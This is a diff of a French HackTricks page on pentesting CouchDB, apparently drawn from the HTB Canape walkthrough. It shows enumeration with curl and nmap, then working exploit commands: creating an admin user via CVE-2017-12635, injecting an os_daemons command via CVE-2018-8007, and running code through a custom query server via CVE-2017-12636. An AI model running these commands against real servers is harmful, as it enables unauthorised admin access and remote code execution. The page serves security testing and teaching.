### [**Brute Force**](../generic-methodologies-and-resources/brute-force.md#afp)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,26 +1,27 @@
|
|||
# 5984,6984 - Pentesting CouchDB
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **Informations de base**
|
||||
|
||||
**CouchDB** est une base de données **orientée documents** polyvalente et puissante qui organise les données en utilisant une structure de **carte clé-valeur** dans chaque **document**. Les champs dans le document peuvent être représentés sous forme de **paires clé/valeur, listes ou cartes**, offrant une flexibilité dans le stockage et la récupération des données.
|
||||
**CouchDB** est une base de données **orientée document** polyvalente et puissante qui organise les données en utilisant une structure de **carte clé-valeur** au sein de chaque **document**. Les champs à l'intérieur du document peuvent être représentés sous forme de **paires clé/valeur, de listes ou de cartes**, offrant une flexibilité dans le stockage et la récupération des données.
|
||||
|
||||
Chaque **document** stocké dans CouchDB se voit attribuer un **identifiant unique** (`_id`) au niveau du document. De plus, chaque modification apportée et enregistrée dans la base de données se voit attribuer un **numéro de révision** (`_rev`). Ce numéro de révision permet un **suivi efficace et une gestion des changements**, facilitant la récupération et la synchronisation des données au sein de la base de données.
|
||||
Chaque **document** stocké dans CouchDB se voit attribuer un **identifiant unique** (`_id`) au niveau du document. De plus, chaque modification apportée et enregistrée dans la base de données se voit attribuer un **numéro de révision** (`_rev`). Ce numéro de révision permet un **suivi et une gestion efficaces des changements**, facilitant la récupération et la synchronisation des données au sein de la base de données.
|
||||
|
||||
**Port par défaut :** 5984 (http), 6984 (https)
|
||||
**Port par défaut :** 5984(http), 6984(https)
|
||||
```
|
||||
PORT STATE SERVICE REASON
|
||||
5984/tcp open unknown syn-ack
|
||||
|
@ -30,61 +31,61 @@ PORT STATE SERVICE REASON
|
|||
nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
|
||||
msf> use auxiliary/scanner/couchdb/couchdb_enum
|
||||
```
|
||||
## Énumération manuelle
|
||||
## Énumération Manuelle
|
||||
|
||||
### Bannière
|
||||
```
|
||||
curl http://IP:5984/
|
||||
```
|
||||
Cela envoie une requête GET à l'instance CouchDB installée. La réponse devrait ressembler à l'un des éléments suivants :
|
||||
Cela envoie une requête GET à l'instance CouchDB installée. La réponse devrait ressembler à l'une des suivantes :
|
||||
```bash
|
||||
{"couchdb":"Welcome","version":"0.10.1"}
|
||||
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Notez que si vous accédez à la racine de couchdb, vous recevrez une `401 Unauthorized` avec quelque chose comme ceci : `{"error":"unauthorized","reason":"Authentication required."}` **vous ne pourrez pas accéder** à la bannière ou à tout autre point de terminaison.
|
||||
Notez que si vous accédez à la racine de couchdb et que vous recevez un `401 Unauthorized` avec quelque chose comme ceci : `{"error":"unauthorized","reason":"Authentication required."}` **vous ne pourrez pas accéder** à la bannière ou à tout autre point de terminaison.
|
||||
{% endhint %}
|
||||
|
||||
### Énumération des informations
|
||||
### Info Enumeration
|
||||
|
||||
Ce sont les points de terminaison auxquels vous pouvez accéder avec une requête **GET** et extraire des informations intéressantes. Vous pouvez trouver [**plus de points de terminaison et des descriptions plus détaillées dans la documentation de couchdb**](https://docs.couchdb.org/en/latest/api/index.html).
|
||||
Ce sont les points de terminaison auxquels vous pouvez accéder avec une **GET** request et extraire des informations intéressantes. Vous pouvez trouver [**plus de points de terminaison et des descriptions plus détaillées dans la documentation de couchdb**](https://docs.couchdb.org/en/latest/api/index.html).
|
||||
|
||||
* **`/_active_tasks`** Liste des tâches en cours, y compris le type de tâche, le nom, l'état et l'ID du processus.
|
||||
* **`/_all_dbs`** Renvoie une liste de toutes les bases de données de l'instance CouchDB.
|
||||
* **`/_cluster_setup`** Renvoie l'état du nœud ou du cluster, selon l'assistant de configuration du cluster.
|
||||
* **`/_active_tasks`** Liste des tâches en cours, y compris le type de tâche, le nom, le statut et l'ID de processus.
|
||||
* **`/_all_dbs`** Renvoie une liste de toutes les bases de données dans l'instance CouchDB.
|
||||
* **`/_cluster_setup`** Renvoie le statut du nœud ou du cluster, selon l'assistant de configuration du cluster.
|
||||
* **`/_db_updates`** Renvoie une liste de tous les événements de base de données dans l'instance CouchDB. L'existence de la base de données `_global_changes` est requise pour utiliser ce point de terminaison.
|
||||
* **`/_membership`** Affiche les nœuds faisant partie du cluster en tant que `cluster_nodes`. Le champ `all_nodes` affiche tous les nœuds connus de ce nœud, y compris ceux faisant partie du cluster.
|
||||
* **`/_scheduler/jobs`** Liste des tâches de réplication. Chaque description de tâche inclura des informations sur la source et la cible, l'ID de réplication, un historique des événements récents, et quelques autres éléments.
|
||||
* **`/_scheduler/docs`** Liste des états de document de réplication. Comprend des informations sur tous les documents, même dans les états `completed` et `failed`. Pour chaque document, il renvoie l'ID du document, la base de données, l'ID de réplication, la source et la cible, et d'autres informations.
|
||||
* **`/_membership`** Affiche les nœuds qui font partie du cluster en tant que `cluster_nodes`. Le champ `all_nodes` affiche tous les nœuds que ce nœud connaît, y compris ceux qui font partie du cluster.
|
||||
* **`/_scheduler/jobs`** Liste des travaux de réplication. Chaque description de travail inclura des informations sur la source et la cible, l'ID de réplication, un historique des événements récents et quelques autres éléments.
|
||||
* **`/_scheduler/docs`** Liste des états des documents de réplication. Inclut des informations sur tous les documents, même dans les états `completed` et `failed`. Pour chaque document, il renvoie l'ID du document, la base de données, l'ID de réplication, la source et la cible, et d'autres informations.
|
||||
* **`/_scheduler/docs/{replicator_db}`**
|
||||
* **`/_scheduler/docs/{replicator_db}/{docid}`**
|
||||
* **`/_node/{node-name}`** Le point de terminaison `/_node/{node-name}` peut être utilisé pour confirmer le nom du nœud Erlang du serveur qui traite la requête. Cela est particulièrement utile lors de l'accès à `/_node/_local` pour récupérer ces informations.
|
||||
* **`/_node/{node-name}/_stats`** La ressource `_stats` renvoie un objet JSON contenant les statistiques du serveur en cours d'exécution. La chaîne littérale `_local` sert d'alias pour le nom du nœud local, donc pour toutes les URL de statistiques, `{node-name}` peut être remplacé par `_local`, pour interagir avec les statistiques du nœud local.
|
||||
* **`/_node/{node-name}/_system`** La ressource \_system renvoie un objet JSON contenant diverses statistiques au niveau du système pour le serveur en cours d'exécution. Vous pouvez utiliser \_\_`_local` comme {node-name} pour obtenir les informations actuelles sur le nœud.
|
||||
* **`/_node/{node-name}`** Le point de terminaison `/_node/{node-name}` peut être utilisé pour confirmer le nom du nœud Erlang du serveur qui traite la demande. Cela est particulièrement utile lors de l'accès à `/_node/_local` pour récupérer cette information.
|
||||
* **`/_node/{node-name}/_stats`** La ressource `_stats` renvoie un objet JSON contenant les statistiques pour le serveur en cours d'exécution. La chaîne littérale `_local` sert d'alias pour le nom du nœud local, donc pour toutes les URL de statistiques, `{node-name}` peut être remplacé par `_local`, pour interagir avec les statistiques du nœud local.
|
||||
* **`/_node/{node-name}/_system`** La ressource \_system renvoie un objet JSON contenant diverses statistiques au niveau système pour le serveur en cours d'exécution\_.\_ Vous pouvez utiliser \_\_`_local` comme {node-name} pour obtenir des informations sur le nœud actuel.
|
||||
* **`/_node/{node-name}/_restart`**
|
||||
* **`/_up`** Confirme que le serveur est en ligne, en cours d'exécution et prêt à répondre aux demandes. Si [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance\_mode) est `true` ou `nolb`, le point de terminaison renverra une réponse 404.
|
||||
* **`/_up`** Confirme que le serveur est en marche, fonctionne et prêt à répondre aux demandes. Si [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance\_mode) est `true` ou `nolb`, le point de terminaison renverra une réponse 404.
|
||||
* **`/_uuids`** Demande un ou plusieurs Identifiants Universellement Uniques (UUID) de l'instance CouchDB.
|
||||
* **`/_reshard`** Renvoie un compte des tâches terminées, échouées, en cours, arrêtées et totales ainsi que l'état du resharding sur le cluster.
|
||||
* **`/_reshard`** Renvoie un compte des travaux terminés, échoués, en cours, arrêtés et totaux ainsi que l'état de la répartition sur le cluster.
|
||||
|
||||
D'autres informations intéressantes peuvent être extraites comme expliqué ici : [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)
|
||||
Des informations plus intéressantes peuvent être extraites comme expliqué ici : [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB)
|
||||
|
||||
### **Liste des bases de données**
|
||||
### **Database List**
|
||||
```
|
||||
curl -X GET http://IP:5984/_all_dbs
|
||||
```
|
||||
Si cette demande répond avec un **401 non autorisé**, alors vous avez besoin de **valides identifiants** pour accéder à la base de données:
|
||||
Si cette requête **répond avec un 401 non autorisé**, alors vous avez besoin de **identifiants valides** pour accéder à la base de données :
|
||||
```
|
||||
curl -X GET http://user:password@IP:5984/_all_dbs
|
||||
```
|
||||
Pour trouver des identifiants valides, vous pourriez **essayer de** [**forcer le service**](../generic-methodologies-and-resources/brute-force.md#couchdb).
|
||||
Pour trouver des identifiants valides, vous pourriez **essayer de** [**bruteforcer le service**](../generic-methodologies-and-resources/brute-force.md#couchdb).
|
||||
|
||||
Ceci est un **exemple** de réponse couchdb lorsque vous avez **suffisamment de privilèges** pour lister les bases de données (C'est juste une liste de bases de données) :
|
||||
Ceci est un **exemple** d'une **réponse** de couchdb lorsque vous avez **suffisamment de privilèges** pour lister les bases de données (C'est juste une liste de bases de données) :
|
||||
```bash
|
||||
["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]
|
||||
```
|
||||
### Informations sur la base de données
|
||||
### Database Info
|
||||
|
||||
Vous pouvez obtenir certaines informations sur la base de données (comme le nombre de fichiers et leurs tailles) en accédant au nom de la base de données :
|
||||
Vous pouvez obtenir des informations sur la base de données (comme le nombre de fichiers et les tailles) en accédant au nom de la base de données :
|
||||
```bash
|
||||
curl http://IP:5984/<database>
|
||||
curl http://localhost:5984/simpsons
|
||||
|
@ -93,7 +94,7 @@ curl http://localhost:5984/simpsons
|
|||
```
|
||||
### **Liste des documents**
|
||||
|
||||
Listez chaque entrée à l'intérieur d'une base de données
|
||||
Liste chaque entrée dans une base de données
|
||||
```bash
|
||||
curl -X GET http://IP:5984/{dbname}/_all_docs
|
||||
curl http://localhost:5984/simpsons/_all_docs
|
||||
|
@ -108,7 +109,7 @@ curl http://localhost:5984/simpsons/_all_docs
|
|||
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
|
||||
]}
|
||||
```
|
||||
### **Lire le document**
|
||||
### **Lire le Document**
|
||||
|
||||
Lire le contenu d'un document à l'intérieur d'une base de données :
|
||||
```bash
|
||||
|
@ -117,38 +118,38 @@ curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
|
|||
#Example response:
|
||||
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}
|
||||
```
|
||||
## Élévation de privilèges CouchDB [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635)
|
||||
## CouchDB Élévation de Privilèges [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635)
|
||||
|
||||
Grâce aux différences entre les analyseurs JSON Erlang et JavaScript, vous pourriez **créer un utilisateur administrateur** avec les identifiants `hacktricks:hacktricks` avec la requête suivante:
|
||||
Grâce aux différences entre les analyseurs JSON d'Erlang et de JavaScript, vous pourriez **créer un utilisateur admin** avec les identifiants `hacktricks:hacktricks` avec la requête suivante :
|
||||
```bash
|
||||
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"
|
||||
```
|
||||
[**Plus d'informations sur cette vulnérabilité ici**](https://justi.cz/security/2017/11/14/couchdb-rce-npm.html).
|
||||
|
||||
## RCE de CouchDB
|
||||
## CouchDB RCE
|
||||
|
||||
### **Aperçu de la sécurité du cookie Erlang**
|
||||
### **Aperçu de la sécurité des cookies Erlang**
|
||||
|
||||
Exemple [ici](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
|
||||
Exemple [d'ici](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
|
||||
|
||||
Dans la documentation de CouchDB, spécifiquement dans la section concernant la configuration en cluster ([lien](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), l'utilisation des ports par CouchDB en mode cluster est discutée. Il est mentionné que, comme en mode autonome, le port `5984` est utilisé. De plus, le port `5986` est réservé aux API locales de nœuds, et surtout, Erlang nécessite le port TCP `4369` pour le démon de mappage de port Erlang (EPMD), facilitant la communication entre les nœuds au sein d'un cluster Erlang. Cette configuration forme un réseau où chaque nœud est interconnecté avec tous les autres nœuds.
|
||||
Dans la documentation de CouchDB, en particulier dans la section concernant la configuration du cluster ([lien](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), l'utilisation des ports par CouchDB en mode cluster est discutée. Il est mentionné que, comme en mode autonome, le port `5984` est utilisé. De plus, le port `5986` est destiné aux API locales au nœud, et il est important de noter qu'Erlang nécessite le port TCP `4369` pour le Daemon de mappage de port Erlang (EPMD), facilitant la communication entre les nœuds au sein d'un cluster Erlang. Cette configuration forme un réseau où chaque nœud est interconnecté avec tous les autres nœuds.
|
||||
|
||||
Un avis de sécurité crucial est mis en avant concernant le port `4369`. Si ce port est rendu accessible via Internet ou tout réseau non fiable, la sécurité du système repose fortement sur un identifiant unique connu sous le nom de "cookie". Ce cookie agit comme une sauvegarde. Par exemple, dans une liste de processus donnée, le cookie nommé "monster" pourrait être observé, indiquant son rôle opérationnel dans le cadre de sécurité du système.
|
||||
Un avis de sécurité crucial est souligné concernant le port `4369`. Si ce port est rendu accessible sur Internet ou sur tout réseau non fiable, la sécurité du système repose fortement sur un identifiant unique connu sous le nom de "cookie." Ce cookie agit comme une protection. Par exemple, dans une liste de processus donnée, le cookie nommé "monster" pourrait être observé, indiquant son rôle opérationnel dans le cadre de sécurité du système.
|
||||
```
|
||||
www-data@canape:/$ ps aux | grep couchdb
|
||||
root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb
|
||||
root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb
|
||||
homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b
|
||||
```
|
||||
Pour ceux qui souhaitent comprendre comment ce "cookie" peut être exploité pour l'exécution de code à distance (RCE) dans le contexte des systèmes Erlang, une section dédiée est disponible pour une lecture approfondie. Il détaille les méthodologies pour exploiter les cookies Erlang de manière non autorisée afin de prendre le contrôle des systèmes. Vous pouvez **[explorer le guide détaillé sur l'abus des cookies Erlang pour RCE ici](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)**.
|
||||
Pour ceux qui s'intéressent à comprendre comment ce "cookie" peut être exploité pour l'exécution de code à distance (RCE) dans le contexte des systèmes Erlang, une section dédiée est disponible pour une lecture approfondie. Elle détaille les méthodologies pour tirer parti des cookies Erlang de manière non autorisée afin d'obtenir le contrôle sur les systèmes. Vous pouvez **[explorer le guide détaillé sur l'abus des cookies Erlang pour RCE ici](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce)**.
|
||||
|
||||
### **Exploitation de la CVE-2018-8007 par modification de local.ini**
|
||||
### **Exploitation de CVE-2018-8007 par la modification de local.ini**
|
||||
|
||||
Exemple [ici](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
|
||||
Exemple [d'ici](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
|
||||
|
||||
Une vulnérabilité récemment divulguée, CVE-2018-8007, affectant Apache CouchDB a été explorée, révélant que l'exploitation nécessite des autorisations d'écriture sur le fichier `local.ini`. Bien que cela ne s'applique pas directement au système cible initial en raison de restrictions de sécurité, des modifications ont été apportées pour accorder l'accès en écriture au fichier `local.ini` à des fins d'exploration. Les étapes détaillées et des exemples de code sont fournis ci-dessous, démontrant le processus.
|
||||
Une vulnérabilité récemment divulguée, CVE-2018-8007, affectant Apache CouchDB a été explorée, révélant que l'exploitation nécessite des permissions d'écriture sur le fichier `local.ini`. Bien que cela ne soit pas directement applicable au système cible initial en raison de restrictions de sécurité, des modifications ont été apportées pour accorder l'accès en écriture au fichier `local.ini` à des fins d'exploration. Des étapes détaillées et des exemples de code sont fournis ci-dessous, démontrant le processus.
|
||||
|
||||
Tout d'abord, l'environnement est préparé en s'assurant que le fichier `local.ini` est inscriptible, vérifié en listant les autorisations :
|
||||
Tout d'abord, l'environnement est préparé en s'assurant que le fichier `local.ini` est modifiable, vérifié en listant les permissions :
|
||||
```bash
|
||||
root@canape:/home/homer/etc# ls -l
|
||||
-r--r--r-- 1 homer homer 18477 Jan 20 2018 default.ini
|
||||
|
@ -156,7 +157,7 @@ root@canape:/home/homer/etc# ls -l
|
|||
-r--r--r-- 1 root root 4841 Sep 14 14:30 local.ini.bk
|
||||
-r--r--r-- 1 homer homer 1345 Jan 14 2018 vm.args
|
||||
```
|
||||
Pour exploiter la vulnérabilité, une commande curl est exécutée, ciblant la configuration `cors/origins` dans `local.ini`. Cela injecte une nouvelle origine ainsi que des commandes supplémentaires sous la section `[os_daemons]`, dans le but d'exécuter du code arbitraire :
|
||||
Pour exploiter la vulnérabilité, une commande curl est exécutée, ciblant la configuration `cors/origins` dans `local.ini`. Cela injecte une nouvelle origine ainsi que des commandes supplémentaires sous la section `[os_daemons]`, visant à exécuter du code arbitraire :
|
||||
```bash
|
||||
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
|
||||
```
|
||||
|
@ -173,52 +174,52 @@ Initialement, le fichier attendu (`/tmp/0xdf`) n'existe pas, ce qui indique que
|
|||
```bash
|
||||
root@canape:/home/homer/bin# ps aux | grep couch
|
||||
```
|
||||
En mettant fin au processus CouchDB identifié et en permettant au système de le redémarrer automatiquement, l'exécution de la commande injectée est déclenchée, confirmée par l'existence du fichier précédemment manquant :
|
||||
En terminant le processus CouchDB identifié et en permettant au système de le redémarrer automatiquement, l'exécution de la commande injectée est déclenchée, confirmée par l'existence du fichier précédemment manquant :
|
||||
```bash
|
||||
root@canape:/home/homer/etc# kill 711
|
||||
root@canape:/home/homer/etc# ls /tmp/0xdf
|
||||
/tmp/0xdf
|
||||
```
|
||||
Cette exploration confirme la viabilité de l'exploitation de CVE-2018-8007 dans des conditions spécifiques, notamment l'exigence d'un accès en écriture au fichier `local.ini`. Les exemples de code fournis et les étapes procédurales offrent un guide clair pour reproduire l'exploit dans un environnement contrôlé.
|
||||
Cette exploration confirme la viabilité de l'exploitation de CVE-2018-8007 dans des conditions spécifiques, notamment la nécessité d'un accès en écriture au fichier `local.ini`. Les exemples de code fournis et les étapes procédurales offrent un guide clair pour reproduire l'exploit dans un environnement contrôlé.
|
||||
|
||||
Pour plus de détails sur CVE-2018-8007, consultez l'avis de mdsec: [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/).
|
||||
Pour plus de détails sur CVE-2018-8007, consultez l'avis de mdsec : [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/).
|
||||
|
||||
### **Exploration de CVE-2017-12636 avec des autorisations d'écriture sur local.ini**
|
||||
|
||||
Exemple [ici](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
|
||||
Exemple [d'ici](https://0xdf.gitlab.io/2018/09/15/htb-canape.html).
|
||||
|
||||
Une vulnérabilité connue sous le nom de CVE-2017-12636 a été explorée, permettant l'exécution de code via le processus CouchDB, bien que des configurations spécifiques puissent empêcher son exploitation. Malgré de nombreuses références de Preuve de Concept (POC) disponibles en ligne, des ajustements sont nécessaires pour exploiter la vulnérabilité sur la version 2 de CouchDB, différente de la version 1.x généralement ciblée. Les premières étapes consistent à vérifier la version de CouchDB et à confirmer l'absence du chemin attendu des serveurs de requêtes:
|
||||
Une vulnérabilité connue sous le nom de CVE-2017-12636 a été explorée, permettant l'exécution de code via le processus CouchDB, bien que des configurations spécifiques puissent empêcher son exploitation. Malgré de nombreuses références de Proof of Concept (POC) disponibles en ligne, des ajustements sont nécessaires pour exploiter la vulnérabilité sur la version 2 de CouchDB, différente de la version 1.x couramment ciblée. Les étapes initiales consistent à vérifier la version de CouchDB et à confirmer l'absence du chemin des serveurs de requête attendu :
|
||||
```bash
|
||||
curl http://localhost:5984
|
||||
curl http://0xdf:df@localhost:5984/_config/query_servers/
|
||||
```
|
||||
Pour accommoder la version 2.0 de CouchDB, un nouveau chemin est utilisé :
|
||||
Pour s'adapter à la version 2.0 de CouchDB, un nouveau chemin est utilisé :
|
||||
```bash
|
||||
curl 'http://0xdf:df@localhost:5984/_membership'
|
||||
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
|
||||
```
|
||||
Les tentatives d'ajout et d'invocation d'un nouveau serveur de requêtes ont été rencontrées avec des erreurs liées aux permissions, comme indiqué par la sortie suivante :
|
||||
Les tentatives d'ajouter et d'invoquer un nouveau serveur de requêtes ont été confrontées à des erreurs liées aux autorisations, comme l'indique la sortie suivante :
|
||||
```bash
|
||||
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
|
||||
```
|
||||
De plus amples investigations ont révélé des problèmes de permission avec le fichier `local.ini`, qui n'était pas inscriptible. En modifiant les permissions du fichier avec un accès root ou homer, il est devenu possible de continuer :
|
||||
Une enquête plus approfondie a révélé des problèmes de permission avec le fichier `local.ini`, qui n'était pas modifiable. En modifiant les permissions du fichier avec un accès root ou homer, il est devenu possible de continuer :
|
||||
```bash
|
||||
cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
|
||||
chmod 666 /home/homer/etc/local.ini
|
||||
```
|
||||
Les tentatives ultérieures d'ajouter le serveur de requêtes ont réussi, comme le montre l'absence de messages d'erreur dans la réponse. La modification réussie du fichier `local.ini` a été confirmée par comparaison de fichiers :
|
||||
Les tentatives ultérieures d'ajouter le serveur de requêtes ont réussi, comme le démontre l'absence de messages d'erreur dans la réponse. La modification réussie du fichier `local.ini` a été confirmée par la comparaison des fichiers :
|
||||
```bash
|
||||
curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
|
||||
```
|
||||
Le processus a continué avec la création d'une base de données et d'un document, suivi d'une tentative d'exécution de code via une vue personnalisée mappée sur le serveur de requêtes nouvellement ajouté :
|
||||
Le processus s'est poursuivi par la création d'une base de données et d'un document, suivi d'une tentative d'exécuter du code via un mappage de vue personnalisé vers le serveur de requêtes nouvellement ajouté :
|
||||
```bash
|
||||
curl -X PUT 'http://0xdf:df@localhost:5984/df'
|
||||
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
|
||||
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'
|
||||
```
|
||||
Un **[résumé](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0)** avec une charge utile alternative fournit de plus amples informations sur l'exploitation de CVE-2017-12636 dans des conditions spécifiques. Les **ressources utiles** pour exploiter cette vulnérabilité comprennent :
|
||||
A **[résumé](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0)** avec un payload alternatif fournit des informations supplémentaires sur l'exploitation de CVE-2017-12636 dans des conditions spécifiques. **Ressources utiles** pour exploiter cette vulnérabilité incluent :
|
||||
|
||||
- [Code d'exploit POC](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
|
||||
- [Code d'exploitation POC](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py)
|
||||
- [Entrée de la base de données d'exploits](https://www.exploit-db.com/exploits/44913/)
|
||||
|
||||
## Shodan
|
||||
|
@ -230,16 +231,17 @@ Un **[résumé](https://github.com/carlospolop/hacktricks/pull/116/commits/e505c
|
|||
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
|
||||
* [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution)
|
||||
|
||||
{% hint style="success" %}
|
||||
